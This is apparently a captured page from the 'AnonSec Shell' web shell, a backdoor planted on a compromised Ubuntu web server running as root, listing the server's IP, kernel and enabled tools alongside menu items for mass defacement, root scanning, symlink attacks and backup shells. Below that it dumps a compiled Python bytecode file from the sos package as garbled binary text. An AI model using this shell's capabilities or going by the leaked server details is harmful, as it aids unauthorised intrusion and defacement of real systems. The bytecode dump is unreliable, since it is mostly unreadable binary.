AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/collector/clusters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/collector/clusters/__pycache__/satellite.cpython-310.pyc
o

���bb�@s,ddlmZddlmZGdd�de�ZdS)���quote)�Clusterc@s0eZdZdZdZdZdd�Zdd�Zdd	�Zd
S)�	satellitea3
    This profile is specifically for Red Hat Satellite 6, and not earlier
    releases of Satellite.

    While note technically a 'cluster' in the traditional sense, Satellite
    does provide for 'capsule' nodes which is what this profile aims to
    enumerate beyond the 'primary' Satellite system.
    zRed Hat Satellite 6)rzsatellite-installercCsd}d}|t|t|��S)Nzsu postgres -c %szpsql foreman -c %sr)�self�query�_cmd�_dbcmd�r
�B/usr/lib/python3/dist-packages/sos/collector/clusters/satellite.py�	_psql_cmdszsatellite._psql_cmdcCsB|�d�}|j|dd�}|ddkrdd�|d��D�}|SgS)	Nz/copy (select name from smart_proxies) to stdoutT)�	need_root�statusrcSsg|]
}d|vr|���qS)zcould not change directory)�strip)�.0�nr
r
r�
<listcomp>%s��z'satellite.get_nodes.<locals>.<listcomp>�output)r�exec_primary_cmd�
splitlines)r�cmd�res�nodesr
r
r�	get_nodes!s

�zsatellite.get_nodescCs|j|jjkr	dSdS)Nr�capsule)�address�primary)r�noder
r
r�set_node_label,szsatellite.set_node_labelN)	�__name__�
__module__�__qualname__�__doc__�cluster_name�packagesrrrr
r
r
rrs	rN)�pipesr�sos.collector.clustersrrr
r
r
r�<module>s


Anon7 - 2022
AnonSec Team